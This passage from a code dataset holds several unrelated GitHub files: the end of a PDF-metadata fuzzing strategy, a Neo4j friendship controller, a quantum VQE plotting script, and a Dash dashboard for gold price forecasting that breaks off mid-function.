'rb') as f:\n\t\t\tpdf = PyPDF2.PdfFileReader(f)\n\t\t\t# get dictionary of doc info values\n\t\t\tinfo = pdf.getDocumentInfo()\n\n\t\tfor i in range(100):\n\t\t\t# repeat metadata\n\t\t\tfor k, v in info.items():\n\t\t\t\t# print(k, ':', v)\n\t\t\t\t# repeat existing keywords\n\t\t\t\tmDict.__setitem__(k, v*5)\n\n\t\t\t# repeat random data\n\t\t\tfor kword in PDF_KEYWORDS:\n\t\t\t\tif kword not in mDict:\n\t\t\t\t\tv = ''.join(random.choice(randString) for x in range(8))\n\t\t\t\t\tmDict.__setitem__(kword, v*5)\n\t\t\t# print(mDict)\n\t\t\tpdf_writer.addMetadata(mDict)\n\t\t\twith open('out.pdf', \"wb\") as f:\n\t\t\t\tpdf_writer.write(f)\n\n\t\t\twith open('out.pdf', 'rb') as f:\n\t\t\t\tpayload = f.read()\n\t\t\tpayloads.append(payload)\n\n\t\t# print(payload)\n\treturn payloads\n\n# def run(binary, testInput):\n# \t# print(\"making fuzzed inputs...\")\n# \tinputtype = getFileType(testInput)\n# \tpayloads = repeatedParts(testInput, inputtype)\n# \t# print(\"Done.\")\n# \tbadpload = []\n# \tcodes = []\n# \terrors = []\n# \tcrashes = 0\n# \t# p = process(binary)\n# \t# print(\"running fuzzed inputs...: \" + binary)\n# \tfor payload in payloads:\n# \t\tretCode, error = runFuzzedInput(payload, binary, inputtype)\n# \t\tif(retCode != 0):\n# \t\t\tcrashes += 1\n# \t\t\tbadpload.append(payload)\n# \t\t\tcodes.append(retCode)\n# \t\t\terrors.append(error)\n# \tprintStats(crashes, badpload, codes, errors)\n\n# def printStats(crashes, badpload, codes, errors):\n# \tprint(\"---STATS---\")\n# \tprint(\"CRASHES: \", crashes)\n# \tprint(\"CAUGHT PAYLOADS:\")\n# \ti = 0\n# \tx = 0\n# \t#for pload in badpload:\n# \t\t#print(x,': ', pload)\n# \t\t#x += 1\n\n# \t# print only unique codes\n# \tu = []\n# \tfor i in codes:\n# \t\tif i not in u:\n# \t\t\tu.append(i)\n# \tprint(\"CAUGHT CODES: \", u)\n# \tprint(\"CAUGHT ERRORS: \", errors)\n","repo_name":"z5116870/Program-Fuzzer","sub_path":"Strategies/repeatedParts.py","file_name":"repeatedParts.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18338381297","text":"from fastapi import HTTPException\nfrom neo4j import Result\nfrom neo4j.exceptions import ServiceUnavailable\n\nfrom app.controllers.person import _find_and_return_person\nfrom app.db.driver import Driver\nfrom app.schemas import Friendship\n\n\ndef check_friendships(person_name: str, friend_name: str):\n    with Driver.session() as session:\n        is_friend: bool = session.read_transaction(_check_friendships, person_name, friend_name)\n    return is_friend\n\n\ndef create_friendship(friendship: Friendship):\n    with Driver.session() as session:\n        if not all(list(map(lambda person: session.read_transaction(_find_and_return_person, person),\n                            friendship.members))):\n            raise HTTPException(status_code=404, detail=\"Cannot create friendship - wrong person names\")\n\n        session.write_transaction(_create_friendship, friendship)\n\n\ndef delete_friendship(person_name: str, friend_name: str):\n    with Driver.session() as session:\n        session.write_transaction(_delete_friendship, person_name, friend_name)\n\n\ndef _create_friendship(tx, friendship: Friendship):\n    query = (\n        '''\n        MATCH (p1:Person {name: $person_name})\n        MATCH (p2: Person {name: $friend_name})\n        CREATE (p1)-[rel: FRIEND_WITH]->(p2)\n        '''\n    )\n    tx.run(query, person_name=friendship.members[0], friend_name=friendship.members[1])\n\n\ndef _check_friendships(tx, person_name: str, friend_name: str) -> bool:\n    query = (\n        '''\n        MATCH (p1:Person {name: $person_name})-[rel:FRIEND_WITH]-(p2:Person {name: $friend_name})\n        RETURN CASE rel WHEN NULL THEN false ELSE true END as are_friends\n        '''\n    )\n\n    result: Result = tx.run(query, person_name=person_name, friend_name=friend_name)\n    try:\n        return result.data()[0].get('are_friends')\n    except ServiceUnavailable as exception:\n        raise exception\n\n\ndef _delete_friendship(tx, person_name: str, friend_name: str):\n    query = (\n        '''\n        MATCH (p1:Person {name: $person_name})-[rel:FRIEND_WITH]-(p2:Person {name: $friend_name})\n        DETACH\n        DELETE rel\n        '''\n    )\n    tx.run(query, person_name=person_name, friend_name=friend_name)\n","repo_name":"MichalKacprzak99/restaurants-matcher","sub_path":"app/controllers/friendship.py","file_name":"friendship.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72496157497","text":"import numpy as np\nimport VQE\nimport FindPauli\nimport utils\nimport multiprocessing\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set_theme(font_scale=1.5)\n\ndef main():\n\n    J = 2\n    size = J+1\n    n_steps_VQE = 10\n    n_steps_true = 100\n    n_threads = 5\n    n_overheads = 5\n    \n    eps = 1\n    V_start = 0\n    V_stop = 1\n\n    V_space_VQE = np.linspace(V_start, V_stop, n_steps_VQE)\n    V_space_true = np.linspace(V_start, V_stop, n_steps_true)\n    \n    H_list_true = [utils.construct_Hamiltonian(J, eps, V) for V in V_space_true]\n    H_list_VQE = [utils.construct_Hamiltonian(J, eps, V) for V in V_space_VQE]\n    PauliStrings = [FindPauli.find_pauli(H, size=size) for H in H_list_VQE]\n    \n    learning_rate = 0.5\n    number_shots = 1_000\n    epochs = [np.zeros_like(V_space_VQE) for i in range(n_threads)]\n    min_energy_overhead = []\n    for i in range(n_overheads):\n        min_energy = [multiprocessing.Array('d', n_steps_VQE) for i in range(n_threads)]\n\n        processes = [multiprocessing.Process(\n            target=VQE.get_all_min, args=(n_steps_VQE, size, learning_rate, number_shots, \n                            PauliStrings, epochs[k], min_energy[k])) for k in range(len(min_energy))]\n\n        for process in processes:\n            process.start()\n\n        for process in processes:\n            process.join()\n\n        min_energy_overhead += min_energy\n\n    Energy_True = np.zeros_like(V_space_true)\n    for i in range(n_steps_true):\n        Energy_True[i] = utils.eigen(H_list_true[i])[0][0]\n    \n\n    Ana = [V_space_true, Energy_True]\n    Pred = [V_space_VQE, min_energy, 'VQE']\n    fig, error = utils.Ana_Pred_Plot(Ana, Pred, error=True, xlabel=r'$V/\\varepsilon$', \n                                     ylabel=r'$E/\\varepsilon$')\n    plt.savefig('TwoqubitVQE.pdf')\n\n\nif __name__ == '__main__':\n\n    main()","repo_name":"henrikbreitenstein/VQE","sub_path":"Code/interaction_strength.py","file_name":"interaction_strength.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36636172953","text":"import pickle\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objs as go\nimport statsmodels.api as sm\nfrom dash.dependencies import Input, Output\nfrom sklearn.metrics import mean_absolute_error\nfrom statsmodels.tsa.holtwinters import SimpleExpSmoothing, Holt\n\nimport dataCreation as dc\nfrom dataCreation import add_result\nfrom supervised import supervised_models\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\napplication = app.server\napp.title = 'Fatemeh'\n\nstart_date = \"2010-01-02\"\nend_date = \"2020-07-26\"\n\n# used for supervised learning only\nshift_val = -4\ntest_period = 500\n\ndf = dc.make_initial_data(start_date, end_date)\nvalues = dc.feature_generation(df, start_date, end_date, shift_val)\n\n# Dataframe to keep our results\nsummary = pd.DataFrame(columns=['Model', 'MAE', 'Prediction', 'Validation'])\n\nsm = supervised_models(values, forecast_period=-shift_val, test_period=test_period)\n\nmodel_names = [\"Random Forest Regressor\", \"Decision Tree Regressor\",\n               \"Gradient Boosting Regressor\",\n               \"AdaBoost Regressor\", \"Extra Trees Regressor\", \"KNeighbors Regressor\"]\n\nmodel_name = \"Random Forest Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_RF = pickle.load(open(filename, 'rb'))\npredicted = grid_RF.predict(sm.X_test)\nmae_RF = mean_absolute_error(sm.y_test, predicted)\n# grid_RF, mae_RF = sm.RandomForestRegressor_model()\nforecast_RF = grid_RF.predict(sm.X_forecast)\nres = [\"Random Forest Regressor\", mae_RF, forecast_RF[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodel_name = \"Decision Tree Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_DT = pickle.load(open(filename, 'rb'))\npredicted = grid_DT.predict(sm.X_test)\nmae_DT = mean_absolute_error(sm.y_test, predicted)\nforecast_DT = grid_DT.predict(sm.X_forecast)\nres = [\"Decision Tree Regressor\", mae_DT, forecast_DT[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodel_name = \"AdaBoost Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_AB = pickle.load(open(filename, 'rb'))\npredicted = grid_AB.predict(sm.X_test)\nmae_AB = mean_absolute_error(sm.y_test, predicted)\nforecast_AB = grid_AB.predict(sm.X_forecast)\nres = [\"AdaBoost Regressor\", mae_AB, forecast_AB[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodel_name = \"Gradient Boosting Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_GB = pickle.load(open(filename, 'rb'))\npredicted = grid_GB.predict(sm.X_test)\nmae_GB = mean_absolute_error(sm.y_test, predicted)\nforecast_GB = grid_GB.predict(sm.X_forecast)\nres = [\"Gradient Boosting Regressor\", mae_GB, forecast_GB[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodel_name = \"KNeighbors Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_KN = pickle.load(open(filename, 'rb'))\npredicted = grid_KN.predict(sm.X_test)\nmae_KN = mean_absolute_error(sm.y_test, predicted)\nforecast_KN = grid_KN.predict(sm.X_forecast)\nres = [\"KNeighbors Regressor\", mae_KN, forecast_KN[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodel_name = \"ExtraTrees Regressor\"\nfilename = 'models/' + model_name + '.sav'\ngrid_ET = pickle.load(open(filename, 'rb'))\npredicted = grid_ET.predict(sm.X_test)\nmae_ET = mean_absolute_error(sm.y_test, predicted)\nforecast_ET = grid_ET.predict(sm.X_forecast)\nres = [\"ExtraTrees Regressor\", mae_ET, forecast_ET[-1], 'Time Series Cross Validation']\nsummary = add_result(summary, res)\n\nmodels = [grid_RF, grid_DT, grid_GB, grid_AB, grid_ET, grid_KN]\n\nmodeldict = {\n    \"Random Forest Regressor\": grid_RF,\n    \"Decision Tree Regressor\": grid_DT,\n    \"Gradient Boosting Regressor\": grid_GB,\n    \"AdaBoost Regressor\": grid_AB,\n    \"ExtraTrees Regressor\": grid_ET,\n    \"KNeighbors Regressor\": grid_KN\n\n}\n\n# making options\nyears = [year for year in range(2010, 2021)]\nmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July',\n          'August', 'September', 'October', 'November', 'December']\nvalues['month_n'] = values['month'].apply(lambda x: months[x - 1])\n\n# making alpha options for drop down menu\noptions_window = []\nparam_list = [a for a in np.arange(5, 35, 5)]\nfor param in param_list:\n    option = dict(label=str(param), value=param)\n    options_window.append(option)\n\n# making alpha options for drop down menu\noptions_alpha = []\nparam_alpha = [a for a in np.arange(0.1, 1.1, 0.1)]\nfor alpha in param_alpha:\n    option = dict(label='{0:.2f}'.format(alpha), value=alpha)\n    options_alpha.append(option)\n\n# making year options for drop down menu\noptions_year = []\noption = dict(label='All', value=':')\noptions_year.append(option)\nfor year in years:\n    option = dict(label=str(year), value=year)\n    options_year.append(option)\n\n# making month options for drop down menu\noptions_month = []\noption = dict(label='All', value=':')\noptions_month.append(option)\nfor month in months:\n    option = dict(label=month, value=month)\n    options_month.append(option)\n\napp.layout = html.Div([\n    html.H1(\"Gold Price Prediction\", style={\"textAlign\": \"center\"}),\n    ##################\n    html.Div([\n        html.Div([\n            html.Img(\n                src=\"https://responsive.fxempire.com/cover/1230x820/webp-lossy-70.q50/_fxempire_/2020/06/Gold-Bars-2.jpg\",\n                className='two columns',\n                style={\n                    'height': '10%',\n                    'width': '15%',\n                    'float': 'right',\n                    'position': 'relative',\n                    'margin-top': 0,\n                    'margin-right': 20,\n                    'margin-bottom': 50\n                },\n            ),\n            html.H3(children='Welcome to My  Gold Price Prediction Interactive Dashboard.',\n                    className=\"nine columns\"),\n\n        ], className=\"row\")\n    ]),\n\n    ##################\n    html.Div([\n        dcc.Markdown('''\n In this work, I have trained various time series and supervised learning models to\n  predict the closing price of Gold. \n'''),\n        html.P(children='',\n               className=\"twelve columns\"),\n\n    ], className=\"row\"),\n\n    html.Div([\n        dcc.Markdown('''\n\nDisclaimer: Forecasting gold price is a very complex problem, since various non quantitative factors such as international political situation can affect it dramatically.\n Hence, the models used here are not capable of fully understand the market and should not be used for investment decisions.'''),\n    ], className=\"row\"),\n\n    html.Br(),\n    html.Spacer(),\n\n    html.Div([\n\n        html.Div(\n            [\n                html.P(children='', className='two columns'),\n            ],\n            className='two columns'\n        ),\n        html.Div(\n            [\n                html.Img(\n                    src=\"\",\n                    className='four columns',\n                    style={\n                        'height': '10%',\n                        'width': '10%',\n                        'float': 'center',\n                        'position': 'relative',\n                        'margin-top': 0,\n                        'margin-right': 0,\n                        'margin-bottom': '2.5em'\n\n                    }\n\n                ),\n            ],\n            className='four columns'),\n\n        html.Div(\n            [\n                html.P(children='', className='two columns'),\n            ],\n            className='two columns'\n\n        ),\n\n    ], className=\"row\"),\n\n    html.Div([\n        dcc.Tabs(id=\"tabs\", children=[\n\n            # Tap 1\n            dcc.Tab(label='Explanatory Data Analysis', children=[\n\n                # Tap 1, Figure 1\n                html.Div([\n                    html.H1(\"How Gold Prices Are Fluctuated Over the Time\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n\n                    dcc.Graph(id='priceHistory'),\n\n                ], className=\"container\"),\n\n                # Tap 1, Figure 2\n                html.Div([\n                    html.H1(\"Visualising Trend\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    html.H3(\"Select the years which you want to be included in the graph\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='my-dropdown2', options=options_year,\n                                 multi=True, value=[':'],\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n                    dcc.Graph(id='year-wise_pattern')\n\n                ], className=\"container\"),\n\n                # Tap 1, Figure 3\n                html.Div([\n                    html.H1(\"Visualising Trend Using Year-Wise Box Plot\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    html.H3(\"Select the month which you want to be included in the graph\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='my-dropdown3', options=options_month,\n                                 multi=True, value=[':'],\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n                    dcc.Graph(id='box_plot'),\n\n                ], className=\"container\"),\n\n                # Tap 1, Figure 4\n                html.Div([\n                    html.H1(\"Visualising Trend Using Month-Wise Box Plot\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    html.H3(\"Select the years which you want to be included in the graph\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='my-dropdown4', options=options_year,\n                                 multi=True, value=[':'],\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n                    dcc.Graph(id='box_plot_month'),\n\n                ], className=\"container\")\n\n            ]),  # end of Tab 1\n\n            # Tap 2\n            dcc.Tab(label='Time Series Prediction', children=[\n\n                # Tap 2, Figure 1\n                html.Div([\n                    html.H1(\"Moving Average\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='dropdown_T2_1', options=options_window,\n                                 placeholder=\"Select window size\",\n                                 multi=True,\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n\n                    dcc.RadioItems(id=\"radiob_T2_1\", value=\"High\",\n                                   labelStyle={'display': 'inline-block', 'padding': 10},\n                                   options=[{'label': \"Show Higher and Lower Bounds\", 'value': 'True'},\n                                            {'label': \"Don't Show Higher and Lower Bounds\",\n                                             'value': 'False'},\n                                            ],\n                                   style={'textAlign': \"center\", }),\n\n                    dcc.Graph(id='Moving_Average'),\n\n                ], className=\"container\"),\n\n                # Tap 2, Figure 2\n                html.Div([\n                    html.H1(\"Exponential Smoothing\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='dropdown_T2_2', options=options_alpha,\n                                 multi=True, placeholder=\"Select alpha\",\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n\n                    dcc.Graph(id='Exponential_Smoothing'),\n\n                ], className=\"container\"),\n\n                # Tap 2, Figure 3\n                html.Div([\n                    html.H1(\"Double Exponential Smoothing\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n                    dcc.Dropdown(id='dropdown_T2_3_1', options=options_alpha,\n                                 placeholder=\"Select alpha\",\n                                 multi=False,\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n                    dcc.Dropdown(id='dropdown_T2_3_2', options=options_alpha,\n                                 placeholder=\"Select beta\",\n                                 multi=False,\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n\n                    dcc.Graph(id='Double_Exponential_Smoothing'),\n\n                ], className=\"container\"),\n\n            ]),  # end of Tab 2\n\n            # Tap 3\n            dcc.Tab(label='Machine Learning Prediction', children=[\n                # Tap 3, Figure 1\n                html.Div([\n                    html.H1(\"Supervised Machine Learning Models\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n\n                    html.P(\n                        \"These models predict the price of gold for the next four days. The models are trained and evaluated based on the same basis.\",\n                        style={'textAlign': 'center', 'padding-top': 5}),\n\n                    html.H4(\"Comparing Supervised Machine Learning Models in Training and Testing Period\",\n                            style={'textAlign': 'center', 'padding-top': 5}),\n\n                    dcc.Dropdown(id='dropdown_T3_1', options=[\n                        # {'label': 'Linear Regression', 'value': 'Linear Regression'},\n                        {'label': 'Random Forest Regressor', 'value': 'Random Forest Regressor'},\n                        {'label': 'Decision Tree Regressor', 'value': 'Decision Tree Regressor'},\n                        {'label': 'Gradient Boosting Regressor', 'value': 'Gradient Boosting Regressor'},\n                        {'label': 'AdaBoost Regressor', 'value': 'AdaBoost Regressor'},\n                        {'label': 'KNeighbors Regressor', 'value': 'KNeighbors Regressor'},\n                        {'label': 'ExtraTrees Regressor', 'value': 'ExtraTrees Regressor'},\n                    ],\n                                 placeholder=\"Select Model\",\n                                 multi=False,\n                                 style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                        \"margin-right\": \"auto\", \"width\": \"80%\"}),\n\n                    dcc.Graph(id='models_prediction'),\n                    # dcc.Graph(id='Linear_Regression_performance')\n\n                ], className=\"container\"),\n\n                # tap 3, figure 2\n                html.H1(\"Forecast of Supervised Machine Learning Models\",\n                        style={'textAlign': 'center', 'padding-top': 5}),\n\n                dcc.Dropdown(id='dropdown_T3_2', options=[\n                    {'label': 'All Models', 'value': ':'},\n                    # {'label': 'Linear Regression', 'value': 'Linear Regression'},\n                    {'label': 'Random Forest Regressor', 'value': 'Random Forest Regressor'},\n                    {'label': 'Decision Tree Regressor', 'value': 'Decision Tree Regressor'},\n                    {'label': 'Gradient Boosting Regressor', 'value': 'Gradient Boosting Regressor'},\n                    {'label': 'AdaBoost Regressor', 'value': 'AdaBoost Regressor'},\n                    {'label': 'KNeighbors Regressor', 'value': 'KNeighbors Regressor'},\n                    {'label': 'ExtraTrees Regressor', 'value': 'ExtraTrees Regressor'},\n\n                ],\n                             placeholder=\"Select Model\",\n                             multi=True,\n                             style={\"display\": \"block\", \"margin-left\": \"auto\",\n                                    \"margin-right\": \"auto\", \"width\": \"80%\"}),\n                dcc.Graph(id='Prediction_summary'),\n\n                # tap 3, figure 3\n                html.H1(\"Performance of Supervised Machine Learning Models\",\n                        style={'textAlign': 'center', 'padding-top': 5}),\n                dcc.Graph(id='result_summary_graph'),\n\n                html.H1(\" \",\n                        style={'textAlign': 'center', 'margin-bottom': '2.5em'}),\n\n                # tap 3, figure 4\n                html.H1(\"Summary of Supervised Machine Learning Models\",\n                        style={'textAlign': 'center', 'padding-top': 5}),\n\n                dcc.Graph(id='result_summary'),\n\n            ]),  # end of Tab 3\n\n        ])\n    ])\n])\n\n\n##** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** * TAB3 ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** *\n\n\n# Figure T3_4\n@app.callback(Output('result_summary', 'figure'),\n              [Input('dropdown_T3_1', 'value')])\ndef update_graph(selected_dropdown):\n    trace1 = []\n    trace1.append(\n        go.Table(\n            header=dict(values=list(summary.columns),\n\n                        align='center',\n                        font=dict(color='black', size=16),\n                        line_color='black',\n                        fill_color='lightcyan',\n                        height=50\n\n                        ),\n            cells=dict(values=[summary.Model, summary.MAE, summary.Prediction, summary.Validation],\n                       line_color='gray',\n                       fill_color='white',\n                       font=dict(color='black', size=12),\n                       height=50\n\n                       )\n\n        )\n    )\n    title = \" \"\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(\n                  height=600,\n                  title=title,\n                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T3_3\n@app.callback(Output('result_summary_graph', 'figure'),\n              [Input('dropdown_T3_1', 'value')])\ndef update_graph(selected_dropdown):\n    trace1 = []\n    trace1.append(\n        go.Bar(\n            x=summary.Model, y=summary.MAE,\n            textposition='auto',\n        ),\n    )\n    title = ''\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(\n                  height=600,\n                  title=title,\n                  plot_bgcolor='rgba(0,0,0,0)',\n                  yaxis={\"title\": \"MAE\"},\n                  paper_bgcolor='rgba(0,0,0,0)',\n\n              )}\n\n    return figure\n\n\n# Figure T3_2\n@app.callback(Output('Prediction_summary', 'figure'),\n              [Input('dropdown_T3_2', 'value')])\ndef update_graph(selected_dropdown):\n    trace1 = []\n    forecast = []\n\n    selected_models = {}\n    if (selected_dropdown != None):\n\n        if ':' in selected_dropdown:\n            selected_models = modeldict\n        else:\n            for selected in selected_dropdown:\n                selected_models[selected] = modeldict[selected]\n\n        for model_name in selected_models:\n            model = modeldict[model_name]\n            forecast = model.predict(sm.X_forecast)\n            title = model_name + \" Forecast\"\n            trace1.append(\n                go.Scatter(x=sm.X_forecast.date, y=forecast, mode='lines+markers', opacity=0.9, name=title,\n                           textposition='bottom center'))\n\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=\" \",\n                                  xaxis={\"title\": \"Date\",\n                                         'ticktext': sm.X_forecast.date\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T3_1\n@app.callback(Output('models_prediction', 'figure'),\n              [Input('dropdown_T3_1', 'value')])\ndef update_graph(selected_dropdown):\n    trace1 = []\n    trace1.append(\n        go.Scatter(x=sm.X_train.date, y=sm.y_train, mode='lines', opacity=0.6, name='Actual Train ',\n                   textposition='bottom center'))\n\n    trace1.append(\n        go.Scatter(x=sm.X_test.date, y=sm.y_test, mode='lines', opacity=0.6, name='Actual Test',\n                   textposition='bottom center'))\n\n    prediction = []\n    forecast = []\n    title = \"\"\n    mae = -1\n    if (selected_dropdown != None):\n\n        if selected_dropdown == 'Random Forest Regressor':\n            prediction = grid_RF.predict(sm.X_test)\n            forecast = grid_RF.predict(sm.X_forecast)\n            mae = mae_RF\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        elif selected_dropdown == 'Decision Tree Regressor':\n            prediction = grid_DT.predict(sm.X_test)\n            forecast = grid_DT.predict(sm.X_forecast)\n            mae = mae_DT\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        elif selected_dropdown == 'Gradient Boosting Regressor':\n            prediction = grid_GB.predict(sm.X_test)\n            forecast = grid_GB.predict(sm.X_forecast)\n            mae = mae_GB\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        elif selected_dropdown == 'AdaBoost Regressor':\n            prediction = grid_AB.predict(sm.X_test)\n            forecast = grid_AB.predict(sm.X_forecast)\n            mae = mae_AB\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        elif selected_dropdown == 'ExtraTrees Regressor':\n            prediction = grid_ET.predict(sm.X_test)\n            forecast = grid_ET.predict(sm.X_forecast)\n            mae = mae_ET\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        elif selected_dropdown == 'KNeighbors Regressor':\n            prediction = grid_KN.predict(sm.X_test)\n            forecast = grid_KN.predict(sm.X_forecast)\n            mae = mae_KN\n            title = \" Training MAE: \" + '{0:.2f}'.format(mae)\n\n        name = str(selected_dropdown) + \" Test\"\n        trace1.append(\n            go.Scatter(x=sm.X_test.date, y=prediction, mode='lines', opacity=0.6, name=name,\n                       textposition='bottom center'))\n\n        name = str(selected_dropdown) + \" Forecast\"\n        trace1.append(\n            go.Scatter(x=sm.X_forecast.date, y=forecast, mode='lines', line=dict(color=\"#FF1493\"), opacity=0.6,\n                       name=name,\n                       textposition='bottom center'))\n\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=title,\n                                  xaxis={\"title\": \"Date\",\n                                         'rangeslider': {'visible': True},\n                                         # 'ticktext': values.date\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** *TAB2 ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** *\n# Figure T2_3\n@app.callback(Output('Double_Exponential_Smoothing', 'figure'),\n              [Input('dropdown_T2_3_1', 'value'), Input('dropdown_T2_3_2', 'value')])\ndef update_graph(selected_dropdown1, selected_dropdown2):\n    df = values[\"Gold\"]\n\n    trace1 = []\n    trace1.append(\n        go.Scatter(x=values.date, y=df, mode='lines', opacity=0.6, name='Actual values', textposition='bottom center'))\n\n    if selected_dropdown1 != None and selected_dropdown2 != None:\n        alpha = float(selected_dropdown1)\n        beta = float(selected_dropdown2)\n\n        model = Holt(np.asarray(np.asarray(df)))\n        fit = model.fit(smoothing_level=alpha, smoothing_slope=beta)\n        result = fit.fittedvalues\n\n        name = 'Exponential Smoothing ' + '{0:.2f}'.format(alpha) + ',' + '{0:.2f}'.format(beta)\n        trace1.append(\n            go.Scatter(x=values.date, y=result, mode='lines', opacity=0.6, name=name, textposition='bottom center'))\n\n    title = \"\"\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=title,\n                                  xaxis={\"title\": \"Date\",\n                                         'rangeslider': {'visible': True},\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T2_2\n@app.callback(Output('Exponential_Smoothing', 'figure'),\n              [Input('dropdown_T2_2', 'value')])\ndef update_graph(selected_dropdown):\n    df = values[\"Gold\"]\n\n    trace1 = []\n    trace1.append(\n        go.Scatter(x=values.date, y=df, mode='lines', opacity=0.6, name='Actual values', textposition='bottom center'))\n\n    if selected_dropdown != None:\n        for alpha in selected_dropdown:\n            model = SimpleExpSmoothing(np.asarray(df))\n            fit = model.fit(smoothing_level=alpha)\n            result = fit.fittedvalues\n\n            name = 'Exponential Smoothing ' + '{0:.2f}'.format(alpha)\n            trace1.append(\n                go.Scatter(x=values.date, y=result, mode='lines', opacity=0.6, name=name, textposition='bottom center'))\n\n    title = \"\"\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=title,\n                                  xaxis={\"title\": \"Date\",\n                                         'rangeslider': {'visible': True},\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T2_1\n@app.callback(Output('Moving_Average', 'figure'),\n              [Input('dropdown_T2_1', 'value'), Input(\"radiob_T2_1\", \"value\")])\ndef update_graph(selected_dropdown, radioval):\n    plot_intervals = False\n    scale = 1.95\n    df = values[\"Gold\"]\n\n    trace1 = []\n    trace1.append(\n        go.Scatter(x=values.date, y=df, mode='lines', opacity=0.6, name='Actual values', textposition='bottom center'))\n\n    if selected_dropdown != None:\n        for window in selected_dropdown:\n            